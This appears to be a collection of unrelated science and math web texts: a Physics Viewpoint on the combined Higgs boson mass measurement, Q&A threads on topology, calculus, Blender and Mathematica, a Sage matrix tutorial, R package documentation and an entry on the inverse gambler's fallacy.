text:
Viewpoint

A More Precise Higgs Boson Mass

Physics 8, 45
A new value for the Higgs boson mass will allow stronger tests of the standard model and of theories about the Universe’s stability.

A great insight of twentieth-century science is that symmetries expressed in the laws of nature need not be manifest in the outcomes of those laws. Consider the snowflake. Its structure is a consequence of electromagnetic interactions, which are identical from any direction, but a snowflake only looks the same when rotated by multiples of $60∘$ about a single axis. The full symmetry is hidden by the particular conditions under which the water molecules crystallize. Similarly, a symmetry relates the electromagnetic and weak interactions in the standard model of particle physics, but we know it must be concealed because the weak interactions appear much weaker than electromagnetism. To learn what distinguishes electromagnetism from the weak interactions was an early goal of experiments at CERN’s Large Hadron Collider (LHC). A big part of the answer was given in mid-2012, when the ATLAS and CMS Collaborations at the LHC announced the discovery of the Higgs boson in the study of proton–proton collisions [1]. Now the discovery teams have pooled their data analyses to produce a measurement of the Higgs boson mass with $0.2%$ precision [2]. The new value enables physicists to make more stringent tests of the electroweak theory and of the Higgs boson’s properties.

The electroweak theory [3] is a key element of the standard model of particle physics that weaves together ideas and observations from diverse areas of physics [4]. In the theory, interactions are prescribed by gauge symmetries. If nature displayed these symmetries explicitly, the force particles would all be massless, whereas we know experimentally that the weak interactions must—because they are short-ranged—be mediated by massive particles. The so-called Higgs field was introduced to the electroweak theory to hide the gauge symmetry, leading to weak force particles ( $W±$ and $Z0$) that have mass but a photon that is massless.

The Higgs boson is a spin-zero excitation of the Higgs field and the “footprint” of the mechanism that hides the electroweak gauge symmetry in the standard model. The Higgs boson’s interactions are fully specified in terms of known couplings and masses of its decay products, but the theory does not predict its mass. Instead, experimentalists must measure the energies and momenta of the Higgs boson’s decay products and determine its mass using kinematical equations. Once that mass is known, the rates at which the Higgs boson decays into different particles can be predicted with high precision, and compared with experiment. For a mass in the neighborhood of $125$ giga-electron-volts ( $GeV$), the electroweak theory foresees a happy circumstance in which several decay paths occur at large enough rates to be detected.

ATLAS and CMS are large, broad-acceptance detectors located in multistory caverns about $100$ meters below ground [5]. In the discovery run of the LHC, the ATLAS and CMS Collaborations searched for decays of a Higgs boson into bottom-quark–antiquark pairs, tau-lepton pairs, and pairs of electroweak gauge bosons: two photons, $W+W-$, and $Z0Z0$. The actual discovery was based primarily on mass peaks associated with either the two-photon final states or $Z0Z0$ pairs decaying to four-lepton (electrons or muons) final states. These channels, for which the ATLAS and CMS detectors have the best mass resolution, form the basis of their new report.

Both of the “high-resolution” final states are relatively rare: the standard model predicts that only about $1/4%$ of Higgs boson decays produce two-photon states; the four-lepton rate is predicted to be nearly 20 times smaller. The two-photon channel exhibits a narrow resonance peak that contains several hundred events per experiment; the $Z0Z0$ to four-lepton channel yields only a few tens of signal events per experiment. To see these events in the first run of the LHC, the ATLAS and CMS collaborations chose different detector technologies, and therefore different measurement and calibration methods [2]. These differences make pooling the data complicated, but also allow the experimentalists to cross-check systematic uncertainties in their separate measurements. Their combined analyses yield a Higgs boson mass of $125.09±0.24GeV$, the precision of which is limited by statistics and by uncertainties in the energy or momentum scale of the ATLAS and CMS detectors.

The first consequence of the new, precise mass value is sharper predictions, within the standard model, for the relative probabilities of different Higgs boson decay modes and production rates [6]. So far, the measured decay modes and production rates agree with standard-model predictions. The current uncertainties in the measured rates are large, but they will be narrowed in the coming runs at the LHC and at possible future colliders. Evidence of any deviation would suggest that the Higgs boson does not follow the standard model textbook, or that new particles or new forces are implicated in its decays.

With a precisely known Higgs boson mass $MH$, theorists can also make more refined predictions of the quantum corrections to many observables, such as the $Z0$ decay rates. These predictions test the consistency of the electroweak theory as a quantum field theory. Figure 1 illustrates a telling example [7]. The diagonal blue ellipses show the values of the $W$ boson and top quark masses required to reproduce a selection of electroweak observables once $MH$ is fixed. (The narrow and wide ellipses represent $68%$ and $95%$ confidence levels, respectively.) The range of masses depends on $MH$, and the precision with which it is known controls the width of the blue ellipses. The preferred range overlaps the green ellipses, which show the directly measured values of the $W$ boson and top quark masses. In the future, more precise values for the masses of the Higgs boson, $W$ boson, and top quark could unveil a discrepancy that might lead to the discovery of new physics.

The specific value of $MH$ constrains speculations about physics beyond the standard model, including supersymmetric or composite models. Perhaps most provocative of all is the possibility that the measured value of the mass is special. Quantum corrections influence not just the predictions for observable quantities, but also the shape of the Higgs potential that lies behind electroweak symmetry breaking in the standard model. According to recent analyses, the newly reported value of the Higgs boson mass corresponds to a near-critical situation in which the Higgs vacuum does not lie at the state of lowest energy, but in a metastable state close to a phase transition [8]. This might imply that our Universe is living on borrowed time, or that the electroweak theory must be augmented in some way.

With LHC Run 2 about to commence, now at higher energies, particle physicists can look forward to a new round of exploration, searches for new phenomena, and refined measurements. Combined analyses and critical evaluations, such as the measurement of the Higgs boson mass discussed here, will help make the most of the data. We still have much to learn about the Higgs boson, the electroweak theory, and beyond.

Acknowledgments

Fermilab is operated by Fermi Research Alliance, LLC, under Contract No. DE-AC02-07CH11359 with the United States Department of Energy. I thank the Fondation Meyer pour le développement culturel et artistique for generous support.

This research is published in Physical Review Letters.

Correction (18 May 2015): In an earlier version of this article, the axes for Figure 1 were incorrectly labeled. The horizontal axis should say “Top quark mass” and the vertical axis should say “W boson mass”.

References

1. G. Aad et al. (ATLAS Collaboration), “Observation of a New Particle in the Search for the Standard Model Higgs Boson with the ATLAS Detector at the LHC,” Phys. Lett. B 716, 1 (2012); S. Chatrchyan et al. (CMS Collaboration), “Observation of a New Boson at a Mass of 125 GeV with the CMS Experiment at the LHC,” Phys. Lett. B 716, 30 (2012)
2. G. Aad et al. (ATLAS Collaboration, CMS Collaboration), “Combined Measurement of the Higgs Boson Mass in $p\phantom{\rule{0}{0ex}}p$ Collisions at $\sqrt{s}=7$ and 8 TeV with the ATLAS and CMS Experiments,” Phys. Rev. Lett. 114, 191803 (2015)
3. The electroweak theory was developed from a proposal by S. Weinberg, “A Model of Leptons,” Phys. Rev. Lett. 19, 1264 (1967); A. Salam “Weak Electromagnetic Interactions,” in Elementary Particle Theory: Relativistic Groups and Analyticity (Nobel Symposium No. 8), edited by N. Svartholm (Almqvist and Wiksell, Stockholm, 1968), p. 367; http://j.mp/r9dJOo; The theory is built on the SU(2)${}_{L}\otimes$U(1)${}_{Y}$ gauge symmetry investigated by S. L. Glashow, “Partial Symmetries of Weak Interactions,” Nucl. Phys. 22, 579 (1961)
4. C. Quigg, “Electroweak Symmetry Breaking in Historical Perspective,” Ann. Rev. Nucl. Part. Sci. (to be published); arXiv:1503.01756
5. ATLAS Collaboration, “The ATLAS Experiment at the CERN Large Hadron Collider,” JINST 3, S08003 (2008); CMS Collaboration, “The CMS Experiment at the CERN Large Hadron Collider,” 3, S08004 (2008)
6. S. Heinemeyer et al. (LHC Higgs Cross Section Working Group), Handbook of LHC Higgs Cross Sections: 3. Higgs Properties, Report No. CERN-2013-004; Tables of Higgs boson branching fractions are given at http://j.mp/1OrjQL0
7. M. Baak et al. (Gfitter Group), “The global electroweak fit at NNLO and prospects for the LHC and ILC,” Eur. Phys. J. C 74, 3046 (2014); a more detailed version of Figure 1 may be found at http://j.mp/1cvuXGQ
8. D. Buttazzo, G. Degrassi, P. P. Giardino, G. F. Giudice, F. Sala, A. Salvio, and A. Strumia, ”Investigating the Near-Criticality of the Higgs Boson,” J. High Energy Phys. 1312, 089 (2013)

Chris Quigg is Distinguished Scientist Emeritus at the Fermi National Accelerator Laboratory. His research spans many topics in particle physics, from heavy quarks through cosmic neutrinos. His work on electroweak symmetry breaking and supercollider physics, which was recognized by the 2011 J. J. Sakurai Prize of the American Physical Society for outstanding achievement in particle theory, charted the course for exploration at Fermilab’s Tevatron and CERN’s Large Hadron Collider. His current research centers on experiments at the LHC. He is completing a book on particle physics for inquisitive readers. Quigg served as co-chair of Snowmass 2001.

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# Congruence condition

## Definition

A congruence condition is a condition on the congruence class, taken modulo some natural number $n$, of some count associated with a group. Typically, we talk of congruence conditions on the order or index of a subgroup, or on a count of the number of subgroups satisfying a particular condition.

Typical congruence conditions are described below:

1. $1$ modulo $p$ for subgroups satisfying certain order conditions and properties: This states that for a given finite group, or a given finite $p$-group, the number of subgroups of order a particular power of $p$ dividing the group's order and satisfying some condition is $1$ modulo $p$.
2. $1$ modulo $p$, or zero: This states that for a given finite group, or a given finite $p$-group, the number of subgroups of order a particular power of $p$ dividing the group's order and satisfying some condition is $1$ modulo $p$. A closely related notion is that of a collection of groups satisfying a universal congruence condition.
3. $1$ modulo $p$, or a bounded finite number: This is similar to the previous cases, except that we now allow exceptions where the number is finite with a fixed bound. The most typical example is: $1$ modulo $p$, or $0$, or $2$.

## Examples

For a complete list, refer Category:Congruence conditions.

format: plain


text:
$(X,\tau)$ will be a $T_0$-space but not a $T_1$-space

Exercise: A topological space is said to be $T_0$-space if for each pair of distinct points $a,b$ in $X$, either there exists an open set containing $a$ and not $b$, or there exists an open set containing $b$ and not $a$.A topological space $(X,\tau)$ is said to be $T_1$-space if every singleton set $\{x\}$ is closed in $(X,\tau)$

Put a topology on the set $X=\{0,1\}$ so that $(X,\tau)$ will be a $T_0$-space but not a $T_1$-space.

If I consider the topology $\tau=\{X,\emptyset,\{0\}\}$, the point $0\in\{0\}$ and $\{0\}\in X$. If I come up with other topology since I need to have $X$ in the topology there will be always two open sets containg the same point.

Question:

So how do I build a topology on this case that $(X,\tau)$ will be a $T_0$-space but not a $T_1$-space? What am I thinking wrong?

• Just a remark. No matter if there are two (or more) open sets containing the same point. The important is that there's at least one that contains $a$ and does not contain $b$. Think in $R$. There are many open sets that contain the $0$, for instance open intervals $(-n,n)$. But given any other point $x\in R$ you can find an open set that contains $0$ and not $x$: the open interval $(-|x|/2,|x|/2)$, for example. – Dog_69 Sep 28 '18 at 22:43

I'm not sure what your doubt is. The family $$\tau=\{\emptyset,\{0\},X\}$$ is a topology on $$X=\{0,1\}$$.

It is $$T_0$$, because there is an open set containing $$0$$ and not $$1$$, precisely $$\{0\}$$. Since these are all the points in $$X$$, we are done.

On the other hand, $$\{0\}$$ is not closed, because the closed sets are $$X$$, $$\{1\}$$ and $$\emptyset$$. Thus the topology is not $$T_1$$.

There are not many choices for a topology on $$X=\{0,1\}$$: the following is the complete list.

1. $$\{\emptyset,X\}$$, the trivial topology; not $$T_0$$.
2. $$\{\emptyset,\{0\},X\}$$; it is $$T_0$$ but not $$T_1$$.
3. $$\{\emptyset,\{1\},X\}$$; it is $$T_0$$ but not $$T_1$$.
4. $$\{\emptyset,\{0\},\{1\},X\}$$, the discrete topology; it is $$T_2$$.

$$\tau =\{X,\{\},\{1\}\}$$ or $$\tau =\{X,\{\},\{0\}\}$$

Not every singleton can be closed or $$X$$ would be $$T_1$$. So pick e.g. $$\{1\}$$ to not be closed. Then $$\{0\}$$ cannot be open, as its complement. This means the only open set that contains $$0$$ must be $$\{0,1\} = X$$. But $$\{1\}$$ must be open for $$X$$ to be $$T_0$$ (we must distinguish $$1$$ from $$0$$). $$X$$ and $$\emptyset$$ are always open.

So we get $$\{\emptyset, X , \{1\}\}$$ as the topology (we can also choose $$0$$ to be the open singleton, and we get a different, but essentially the same, topology). It's called the Sierpiński two-space.


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# Torus object stretched in array curve modifier

I have a chain object. And i have a curve it follows. I got it to work for following curve, but chain object is not circles but both parts are more like stretched circles (ovals). Object i made with 2 toruses one rotated 90 degrees and then joined them together. I tried single torus too. But same issue. on a curve it just looks stretched oval. What can be the issue?

Thanks

• can you upload file? blend-exchange.giantcowfilms.com Dec 9 '16 at 2:22
• Dont use the curve modifier directly on the torus. Use the torus as dupliface on a plane with the array and curve modifiers instead Dec 9 '16 at 2:29
• I forgot to say that that i have 2 active modifiers. One is array and other is curve. Dec 9 '16 at 2:38

## 1 Answer

The curve modifier distorts the objects, that is the intended behavior. If you want an undeformed array use either by Instancing (Duplifaces before 2.8*) or a particle system instead.

Add your Array+Curve modifier stack to a simple plane mesh instead.

Create a new plane mesh, parent one single chain link to it and activate Object Properties > Instancing > Faces (Duplifaces pre 2.8*)on the plane's object properties.

Then add the Array modifier, use an empty object rotated $$90º$$ to introduce rotation to each link. Activate the Object Offset option and pick the empty.

Adjust spacing and settings as desired, and then add the curve modifier exclusively to the plane object alone.

Alternatively use a particle system instead of Instancing > Faces feature with one particle per face if you wish to hide the original link independently. Manually adjust particle count to match the number of arrayed links.

• ok i followed this animation but when i use array it only multiplies the plane Dec 9 '16 at 3:11
• But I thank you for taking your time. i will see some tutorials and info about dublifaces and hopefully can figure out what to do. Thanks a lot Dec 9 '16 at 3:53
• You have to parent the torus to the plane Dec 9 '16 at 5:10
• How do you stop the plane from being rendered? Nov 21 '19 at 20:40
• Which part didn't work for you in 2.8? I just managed to follow along just fine. Also if you search you will find what you seek blender.stackexchange.com/questions/118835/… Nov 22 '19 at 1:00


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## anonymous 4 years ago Prove that x^2 is always positive. I understand why, but I don't know how to write out.

1. Mertsj

Try an indirect proof....assume that it is negative and show that it leads to a contradiction.

for every x in R y=x^2 stays equal to zero or bigger than zero

3. myininaya

what do you mean you don't know how to write x^2>0?

4. myininaya

and yes because one counterexample for all complex would be if x=i i^2=-1<0

correct....just look out because it could be equal to zero when x=0

6. myininaya

yep yep

7. myininaya

so the best thing to say is x^2>=0 for all reals

8. Zarkon

show thats its minumm value is 0

9. myininaya

10. Zarkon

I butchered the crap out of that word....minimum ;)

11. myininaya

zarkon you don't have to know how to spell

12. myininaya

you just have to get it a little right

13. Zarkon

good...because I can't

14. anonymous

Here is the problem: f'(x) = (x-a)(x-b)^2 0 < a < b "For which values for a and b is f increasing?" And I can't motivate why (x-b)^2 is always positive. Am I over thinking this?

15. myininaya

f'=2x=0 => x=0 which means x=0 is a critical number f''=2 which means it is concave up

16. myininaya

so a and b are critical numbers $f''=(x-b)^2+(x-a) \cdot 2(x-b)=(x-b)[x-b+2(x-a))]=(x-b)[3x-b-2a]$ $f''(a)=(a-b)[3a-b-2a]=(a-b)[a-b]=(a-b)^2=(b-a)^2>0$ $f''(b)=0 \text{ inconclusive }$

17. myininaya

b>a so b is not a ever so (b-a)^2 is always positive of course we are pretending we have real a and real b

18. anonymous

Thank you very much!

19. myininaya

but it seems like the question you asking now is different from the one you are asking earlier $f'(x)=(x-a)(x-b)^2$ we want f'>0 $(x-a)(x-b)^2>0$ f' is zero when x=a or x=b |-----|---------|---- 0 a b chose number btw 0 and a like a/2 we want the following to be greater than 0 $f'(\frac{a}{2})=(\frac{-a}{2})(\frac{a}{2}-b)^2$ we want to choose a number btw a and b now like (a+b)/2 again we want the following to be greater than 0 $f'(\frac{a+b}{2})=\frac{-a+b}{2}(\frac{a-b}{2})^2=-\frac{a-b}{2}(\frac{a-b}{2})^2=-(\frac{a-b}{2})^3$ now we choose a number after b like b+a we also want this to be bigger than 0 $f'(b+a)=(b)(a)^2=a^2b$ no now we need to think of a and b such that all of these inequalities are satisfy

20. myininaya

let me know if i made a mistake somewhere

21. myininaya

so we have the following three inequalities: $\frac{-a}{2}(\frac{a}{2}-b)^2>0, -(\frac{a-b}{2})^3>0 , a^2b>0$

22. myininaya

"For which values for a and b is f increasing?" wait i'm confused

23. anonymous

I'm sorry I'll rephrase it

24. myininaya

f'=0 when x=a ,x=b

25. myininaya

=> f is not increasing at x=a,x=b

26. Zarkon

that is not necessarly true

27. myininaya

f'=(x-a)(x-b)^2?

28. myininaya

f'=0 when x=a f'=0 when x=b

29. anonymous

I'm sorry it's in Swedish but the picture might help.

30. myininaya

zarkon i want a counterexample from you

31. anonymous

Thats correct, x=a and x=b gives the zeros for the derivative

32. myininaya

but we are to find values a and b so that f is increasing

33. myininaya

but f'=(x-a)(x-b)^2

34. myininaya

f'=0 when x=a,b

35. Zarkon

$f(x)=x^3$

36. myininaya

oh fine

37. anonymous

Yes I know. And you get extra credit for pointing that out in the solution.

38. myininaya

no zarkon a>0 b>0

39. myininaya

0<a<b

40. Zarkon

def: a function $$f$$ is increasing on and interval $$I$$ if for any $$x,y\in I$$ with $$x<y$$ we have that $$f(x)<f(y)$$ $x^3$ satisfies this definition on$$\mathbb{R}$$

41. myininaya

but a, b cannot equal zero

42. Zarkon

x-a can be

43. Zarkon

I was just pointing out that just because the derivative is zero does not mean that the function is not increasing.

44. myininaya

right i get that part you are correct i didn't think about x^3

45. asnaseer

myininaya - as Zarkon says - f'(x)=0 could be a point of inflection. a function can be increasing/decreasing through a point of inflection

46. myininaya

and other functions like x^3

47. anonymous

The answers says that (x-b)^2 will always be positive. Because of that (x-a) determines the sign of the derivative. x > a and x != a,b Thats is all thats needed

48. myininaya

but i wonder if i can think of one example where b>a>0

49. anonymous

But the thing I couldn't solve was: Give a good motivation why (x-b)^2 is always positive

50. Zarkon

the function is increasing over b the soluituion should just be x>a

51. anonymous

It's not increasing if x=b or x=a

52. Zarkon

if you fix a value of x then f is not increasing(it is just a number)...you need to look over an interval....for some open set containig b the function is increasing...even though the derivative is zero at b

53. asnaseer

look at this as an example: http://www.wolframalpha.com/input/?i=y%3D%28x-1%29%28x-4%29%5E2+for+x%3D0+to+5 the function is increasing from x=4 onwards here 4 is equivalent to point x=b

54. Zarkon

i should say open interval

55. Zarkon

we ar given the derivative...graph the original function

56. myininaya

http://www.wolframalpha.com/input/?i=find+a+and+b+such+that+-a%5E2%2F2*%28a%2F2-b%29%5E2%3E0%2C+-%28a-b%29%5E3%2F8%3E0%2C+a%5E2b%3E0 i put in those three inequalities wolfram said there is no solution to that system

57. Zarkon

this is never true for b>a>0 $\frac{-a}{2}(\frac{a}{2}-b)^2>0$

58. anonymous

The answer doesn't require an interval. Even if x will equal a at some point, it's enough to state that at this point the derivative will be = 0

59. anonymous

60. Zarkon

you gave an interval (2 intervals) as an answer... " x > a and x != a,b Thats is all thats needed"

61. anonymous

Sorry sorry, I didn't think realize that. But that's the correct answer.

62. Zarkon

it is not

63. asnaseer

myininaya - your original inequalities were correct - they lead to the correct solution of x > a

64. myininaya

but -a/2<0 since a>0

65. myininaya

i don't see a solution to the problem

66. asnaseer

you got this for x < a:$f'(\frac{a}{2})=(\frac{-a}{2})(\frac{a}{2}-b)^2$which is always negative, so function cannot be increasing over this region. for x>a and x<b you got:$f'(\frac{a+b}{2})=-(\frac{a-b}{2})^3=-\frac{a-b}{2}(\frac{a-b}{2})^2=\frac{b-a}{2}(\frac{a-b}{2})^2$which is always positive since b > a. and finally for x > b you got:$f'(b+a)=a^2b$which is always positive since 0 < a < b

67. asnaseer

therefore function is increasing for x > a

68. myininaya

but want f'>0 always we wanted f to be always increasing and that gets messed up on my f'(a/2)

69. myininaya

oh we wanted to know where f is increasing?

70. myininaya

or did we want to choose a and b so that f is increasing everywhere?

71. myininaya

first problem is x>a but second problem has no solution

72. Zarkon

it is not possible to pick an a and b such that f is increasing everywhere

73. anonymous

This is an analyzing problem. We should find when f is increasing and when it's zero

74. anonymous

We don't have to do that

75. anonymous

Just state that if x > a, f is increasing. as long as it isn't = a or b

76. anonymous

But since it can't be > a and = a. x > a and x != b is the solution given in the answer sheet.

77. asnaseer

I think your answer sheet is wrong, it should just be x > a as Zarkon stated earlier

78. anonymous

if x=b then f' = 0 which means not increasing

79. asnaseer

|dw:1328403876728:dw|

80. asnaseer

the function can still be increasing through a point of inflection

81. anonymous

Not at the point

82. Zarkon

points do not increase and decrease...functions do over intervals

83. asnaseer

if you pick any specific point, then you cannot say that function is increasing/decreasing, it just has some value there. increasing/decreasing applies to an interval.

84. anonymous

"The rate of change at a particular moment. Same as the value of the derivative at a particular point."

85. anonymous

I'm sorry I understand what you mean

86. anonymous

talk about killing an ant with an h bomb

87. anonymous

not that i read the whole thing, but isn't is just asking for which values of x is $x-a>0$ namely $x>a$? if the function is continuous (and we assume it is since we assume it has a derivative everywhere) then the fact that the derivative may be postitive, then zero then positive means the funcion is increasing over the whole interval

88. myininaya

yes satellite

89. anonymous

oh i see now that i read the posts

90. anonymous

there was some confusion over what happens at b which reminds me


text:
## Linear Algebra – First Matrix Computations with Sage

Here is a short overview for doing matrix manipulations online using the Sage framework. For more information, see my Sage information page.

For short computations, I recommend using the SageCellServer. Here you can type in a few lines of code, hit “evaluate”, and see the result.

To get started, try this code:

```2+3
```

When you hit “evaluate” you should see the result: `5`.

Now try this code:

```A = matrix([[1,2],[3,4]])
show(A)
```

The first line tells the computer what `A` is. The second line tells the computer to show you what `A` is. What should happen if you only put in the first line? Try it out?

Now let’s compute the inverse of matrix `A`. We use the following code.

```A = matrix([[1,2],[3,4]])
B = A.inverse()
show(B)
```

Line 1 defines the matrix `A`.
Line 2 defines the matrix `B` as being equal to the inverse of `A`.
The way we do this is by attaching the inverse function to the matrix `A`. The dot (period) is the “attaching” operation in Sage.
Line 3 shows the matrix `B`.

Here is a more “efficient” way to do the same thing:

```A = matrix([[1,2],[3,4]])
show( A.inverse() )
```

Here is a more complicated piece of code:

```S = matrix([[1,-1],[2,2]])
D = matrix([[2,0],[0,3]])
A = S*D*S.inverse()
show(A)
```

Let’s unpack what this is doing:
– Line 1 defines a change of coordinate matrix $S$
– Line 2 defines a diagonal matrix $D$ that is the matrix of our transformation in the basis determined by the columns of $S$.
– Line 3 defines $A = SDS^{-1}$
– Line 4 shows us the matrix $A$.
If you wanted Sage to show the matrix $S$, what would you do?

Finally, let me mention the `.eigenvectors_right()` command. This command takes in a matrix and gives out a list of:
– eigenvalues, eigenvectors, and the multiplicity
For example:

```S = matrix([[1,-1],[2,2]])
D = matrix([[2,0],[0,3]])
A = S*D*S.inverse()
show( A.eigenvectors_right() )
```

Does the result make sense, based on the way that we constructed the matrix $A$?

Important note: While it is useful to be able to have a computer do these computations, it is also important to be able to do the computations by hand!

This entry was posted in Linear Algebra, Linear Algebra 2020, Uncategorized. Bookmark the permalink.


text:
# What is the cleanest way to prevent divide-by-zero warnings?

If I evaluate {1, 2, 3, 4}/{5, 6, 0, 8}, obviously I get one warning:

Power::infy: Infinite expression 1/0 encountered. >>

and one entry of ComplexInfinity in the third position of the result. I'd like to eliminate the warnings and get the output with instances of ComplexInfinity deleted.

So far,

DeleteCases[Quiet[{1, 2, 3, 4}/{5, 6, 0, 8}], ComplexInfinity]

is the best way I have to do this. But I'd rather not suppress all messages with Quiet, in case I'm operating on something more complicated than this example.

Rather than cleaning up the mess it causes, is there a clean way to prevent the divide-by-zero operation from happening in the first place?

-
Maybe DeleteCases[ Quiet[{1, 2, 0, 0}/{5, 6, 0, 8}, {Power::"infy", General::"indet"}], ComplexInfinity | Indeterminate] –  Daniel Lichtblau May 10 '12 at 22:51

You could remove the zero from the denominator, and the corresponding entry from the numerator:

a = {1, 2, 3, 4};
b = {5, 6, 0, 8};

Pick[a, Positive[b]]/Pick[b, Positive[b]]

(*
==> {1/5, 1/3, 1/2}
*)

-
What about negative numbers? Shouldn't you use something like PossibleZeroQ? –  Mr.Wizard May 11 '12 at 3:03
@Mr.Wizard Sure, if that's a concern. It all depends on what you know about the lists. –  Brett Champion May 11 '12 at 3:26
This one is most in the spirit of preventing the error instead of handling it. Thanks. –  ArgentoSapiens May 11 '12 at 16:33

You can switch off the 1/0 messages with

Off[Power::infy]

Now 1/0 only returns ComplexInfinity.

If you want to intercept that (your "prevent the divide-by-zero operation from happening in the first place" seems to imply that) you'd have to redefine Power[0,-1]:

Unprotect[Power]
Power[0, -1] = ...;
Protect[Power]

with '...' a definition of your choice. I would strongly advice against modifying a common built-in function like that, though.

-
Never ever modify built-in commands, the side effects of doing so aren't only often severe, but also very unpredictable. I wouldn't even recommend this as part of an answer. –  David May 11 '12 at 1:55
If you want to redefine built-ins for some particular piece of code, you can use block to avoid undefined behavior and have that definition only apply to your particular code. –  jVincent May 11 '12 at 9:35
@jVincent A particular ingenious version of this can be found in this contribution to the MMA toolbag. But generally, completely Blocking a built-in functions means you have to provide most of its functionality yourself which could be a problem. –  Sjoerd C. de Vries May 11 '12 at 11:44

Since you are asking for "a way to prevent the divide by zero operation from happening in the first place," let me suggest another approach that is just slightly more involved than the obvious answer (i.e., just don't include zeros in b):

Lets' pick two lists that cover various cases with zeros:

a = {1, 2, 3, 4, 0, 0};
b = {5, 6, 0, 8, 1, 0};

Now I'll define a replacement rule:

inertZero = {0|0. -> "0"};

Its purpose is to replace numerical zeros by a string "0". Strings can be used in calculations but don't trigger the errors you want to avoid. This allows you to do the division like so:

c = a/(b /. inertZero)

$\left\{\frac{1}{5},\frac{1}{3},\frac{3}{0},\frac{1}{2},0,0\right\}$

Depending on your needs, this could be the end of the story, showing you visually where the division by zero would have occurred. Note in particular the last entry, where we had a 0/0 division. Here, Mathematica makes a choice for us: instead of returning Indeterminate, it sets the result to zero. If you don't like this resolution, one could change the rule.

But maybe you want more, e.g., rescue the remaining divide-by-zero cases somehow. Not knowing exactly what you want to do with them, I'll just go on by assuming you want them to return Infinity. So obviously we'll need another replacement rule, and let Mathematica draw its own conclusions about where $\infty$ should appear:

Limit[c /. "0" -> ε, ε -> 0]

$\left\{\frac{1}{5},\frac{1}{3},\infty ,\frac{1}{2},0,0\right\}$

-
In the last entry, it seems confusing to say that Mathematica makes a choice for you. Mathematica returns indeterminate on 0/0, however you changed it to 0/"0", which returns 0. So it's your choice, not Mathematica's. –  jVincent May 11 '12 at 9:41
But Mathematica chooses that 0 times an unknown object (here Power["0", -1]) is zero, instead of leaving it unevaluated. –  Jens May 11 '12 at 13:33

As Daniel commented, you can restrict the scope of Quiet with its second argument:

Quiet[{1, 2, 3, 4}/{5, 6, 0, 8}, Power::infy]

Other messages are still printed:

Quiet[Divide[1, 2, 3], Power::infy]

During evaluation of In[2]:= Divide::argrx: Divide called with 3 arguments; 2 arguments are expected. >>

-


text:
Finds blocks of nodes with intra-positive and inter-negative edges

signed_blockmodel(g, k, alpha = 0.5, annealing = FALSE)

Arguments

g igraph object. Must have a "sign" edge attribute. number of blocks see details logical. if TRUE, use simulated annealing (Default: FALSE)

Value

numeric vector of block assignments and the associated criterion value

Details

The function minimizes P(C)=$$\alpha$$N+(1-$$\alpha$$)P, where N is the total number of negative ties within plus-sets and P be the total number of positive ties between plus-sets. This function implementes the structural balance model. That is, all diagonal blocks are positive and off-diagonal blocks negative. For the generalized version see signed_blockmodel_general.

References

Doreian, Patrick and Andrej Mrvar (2009). Partitioning signed social networks. Social Networks 31(1) 1-11

Examples

library(igraph)

g <- sample_islands_signed(10,10,1,20)
clu <- signed_blockmodel(g,k = 10,alpha = 0.5)
table(clu$membership)#> #> 1 2 3 4 5 6 7 8 9 10 #> 10 10 10 10 10 10 10 10 10 10 clu$criterion#> [1] 0
# Using simulated annealing (less change of getting trapped in local optima)
data("tribes")
clu <- signed_blockmodel(tribes,k = 3,alpha=0.5,annealing = TRUE)
table(clu$membership)#> #> 1 2 3 #> 5 7 4 clu$criterion#> [1] 2


text:
Inequalities by graphing

• May 22nd 2010, 11:20 AM
sdinulescu
Inequalities by graphing
y>= x +3
y<= 3-x
• May 22nd 2010, 10:15 PM
CaptainBlack
Quote:

Originally Posted by sdinulescu
y>= x +3
y<= 3-x

Draw the line $y=x+3$, then the first inequality is satisfied by points on and above the line.

Draw the line $y=3-x$, then the second inequality is satisfied by points on and below the line.

Both are satisfied by points on and above $y=x+3$ and on or below $y=3-x$

CB
• May 23rd 2010, 06:38 AM
sdinulescu
Thanks
(Clapping)


text:
# Designing non-local polynomials for function approximation (spec. trig fun).

In the process of investigating this problem I encountered the following $\log_2$-plots of bitwise errors of the Taylor expressions of growing number of significant terms:

By these plots it's quite evident that the locality of the Taylor expressions impact the precision for large $x$ a lot. However I have not (yet) managed to prove how to solve the problem of saving calculations with angular halfing as proposed in the previous question, but what if we switch focus to another direction: How to design polynomials so that we get a more uniform distribution of error.

Own ideas:

Some obvious candidates could be $$P(x) = \frac 1 n \sum_{k=0}^n T_{k/n}(x), T_{k/n}\text{ being Taylor polynomial expanded at } x=\frac{k+1/2}{n+1}\cdot \frac{\pi}{2}$$

Or maybe trying to estimate $${\bf c_o} = \min_{\bf c} \left\{\int_0^{\frac{\pi}{2}}\left|\sum_{k=0}^N c_kx^k-\sin(x)\right|dx\right\}$$

Do you think these would be feasible ideas or could some other approach be better?


text:
# Inverse gambler's fallacy

Inverse gambler's fallacy

The inverse gambler's fallacy is a term coined by philosopher Ian Hacking to refer to a formal fallacy of Bayesian inference which is similar to the better known gambler's fallacy. It is the fallacy of concluding, on the basis of an unlikely outcome of a random process, that the process is likely to have occurred many times before. For example, if one observes a pair of fair dice being rolled and turning up double sixes, it is wrong to suppose that this lends any support to the hypothesis that the dice have been rolled before. We can see this from the Bayesian update rule: letting "U" denote the unlikely outcome of the random process and "M" the proposition that the process has occurred before, we have

:$P\left(M|U\right) = P\left(M\right) frac\left\{P\left(U|M\right)\right\}\left\{P\left(U\right)\right\}$

and since "P"("U"|"M") = "P"("U") (the outcome of the process is unaffected by previous occurrences), it follows that "P"("M"|"U") = "P"("M"); that is, our confidence in "M" should be unchanged when we learn "U".

Real-world examples

The inverse gambler's fallacy is unquestionably a fallacy, but there is disagreement over whether and where it has been committed in practice. In his original paper, [Ian Hacking, "The Inverse Gambler's Fallacy: The Argument from Design. The Anthropic Principle Applied to Wheeler Universes". "Mind" 96:383 (July 1987), pp. 331–340.] Hacking takes as his main example a certain response to the argument from design. The argument from design asserts, first, that the universe is fine tuned to support life, and second, that this fine tuning points to the existence of an intelligent designer. The rebuttal attacked by Hacking consists of accepting the first premise, but rejecting the second on the grounds that our (big bang) universe is just one in a long "sequence" of universes, and that the fine tuning merely shows that there have been many other (badly tuned) universes preceding this one. Hacking draws a sharp distinction between this argument and the argument that all possible worlds coexist in some non-temporal sense. He proposes that these arguments, often treated as minor variations of one another, should be considered fundamentally different because one is formally invalid while the other is not.

